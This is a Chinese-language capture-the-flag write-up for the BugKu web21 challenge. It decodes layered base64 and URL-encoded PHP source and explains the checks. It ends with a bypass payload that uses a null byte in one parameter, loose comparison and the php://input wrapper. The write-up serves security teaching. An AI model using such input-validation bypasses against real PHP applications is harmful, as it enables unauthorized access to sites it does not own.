New BugKu web21

web21

进入环境

never never never give up!!!永不言弃!

查看f12

有一个1p.html

尝试访问

访问就自动转跳到别的页面了

这个要抓包才行了

抓包得到1p.html的源码

有一些url编码和base64编码的东西很可疑

先解码看看

得到base64编码的玩意儿

再解码

又得到url编码的

再解码

得到源码

重要的语句

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit()
}

这里的意思是变量$id不能传空的参数

if(stripos($a,'.'))
{
    echo 'no no no no no';
    return ;
}

**这一句的意思限制限制变量$a中不能有字符 **.

$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b, 0, 1)!=4)
{
    $flag = "flag{*************}"
}
else
{
    print "never never never give ip !!1";
}

这里的意思比较绕

变量a的参数传给变量data,如果变量data弱等于字符串bugku is a nice plateform! 和 变量id弱等于整型数0和变量b的长度要大于5和不区分大小写的正则表达式匹配字符串1114和字符串111连接变量b的第一个字符等于4和变量$的第一个字符弱不等于整形4就爆出flag

payload是这样

**hello.php?id=s&b=%0012345&a=php://input**

bugku is a nice plateform!

得到flag